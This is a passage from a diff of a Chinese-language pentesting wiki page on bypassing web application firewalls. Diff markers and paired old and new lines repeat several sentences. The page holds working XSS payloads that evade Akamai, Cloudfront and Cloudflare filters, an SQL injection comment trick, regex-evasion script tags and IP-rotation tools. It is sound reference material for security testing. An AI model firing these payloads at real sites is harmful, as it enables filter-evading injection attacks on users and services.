- 在Burp Repeater中使用“并行发送组”单包样式来竞速两个请求`.js`然后是HTML通过相同的前端路径。
这与头部反射缓存中毒很好地配对。见:
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [我如何在一个公共BBP中发现0点击账户接管并利用它访问管理员级功能](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### 混淆 <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -145,11 +162,11 @@ Connection: close\r\n
正如在 [**这篇博客文章**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) 中提到的,为了绕过能够维护用户输入上下文的 WAF我们可以利用 WAF 技术来实际规范化用户输入。
例如,在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此,像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`,这 **可能认为是可以的,因为标签是闭合的**。然而,只要应用程序没有对输入进行 10 次 URL 解码,受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容,这 **仍然有效用于 XSS 攻击**
例如,在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此,像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`,这 **可能认为是可以的,因为标签已关闭**。然而,只要应用程序没有对输入进行 10 次 URL 解码,受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容,这 **仍然有效用于 XSS 攻击**
因此,这允许在 WAF 将解码和解释的编码组件中 **隐藏有效载荷**,而受害者则看不到
因此,这允许 **在编码组件中隐藏有效负载**WAF 将解码并解释,而受害者则不会
此外,这不仅可以通过 URL 编码的有效载来实现,还可以通过其他编码方式,如 unicode、hex、octal 等...
此外,这不仅可以通过 URL 编码的有效载来实现,还可以通过其他编码方式,如 unicode、hex、octal 等
在文章中建议了以下最终绕过方法:
@ -158,7 +175,7 @@ Connection: close\r\n
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
还提到,根据 **某些 WAF 如何理解用户输入的上下文**,可能会存在滥用的可能。博客中提出的例子是 Akamai 允许在 `/*``*/` 之间放置任何内容(可能是因为这通常用作注释)。因此,像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获,并且是有效的,因为 `/*` 是注入的起始字符串,而 `*/` 是注释。
还提到,根据 **某些 WAF 如何理解用户输入的上下文**,可能会存在滥用的可能。博客中提出的例子是 Akamai 允许在 `/*``*/` 之间放置任何内容(可能是因为这通常用作注释)。因此,像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获,并且是有效的,因为 `/*` 是注入的起始字符串,而 `*/` 是注释。
这些上下文问题也可以用来 **滥用其他比 WAF 预期的漏洞**(例如,这也可以用来利用 XSS
@ -173,12 +190,12 @@ h2c-smuggling.md
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): 生成一个 API 网关 URL 以供 ffuf 使用
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): 类似于 fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): 使用 API 网关 IP 的 Burp Suite 插件
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活,输入被拆分为多个块以进行并行执行,例如 100 个实例处理来自 10,000 行输入文件的 100 个块,拆分因子为 100 行。
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活,输入被拆分为块以进行并行执行,例如 100 个实例处理来自 10,000 行输入文件的 100 个块,拆分因子为 100 行。
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### 正则表达式绕过
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 找到。以下示例来自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 中找到。以下示例摘自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -203,12 +220,13 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp 插件,通过长度向请求添加垃圾数据以绕过 WAF
## 参考
## 参考文献
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}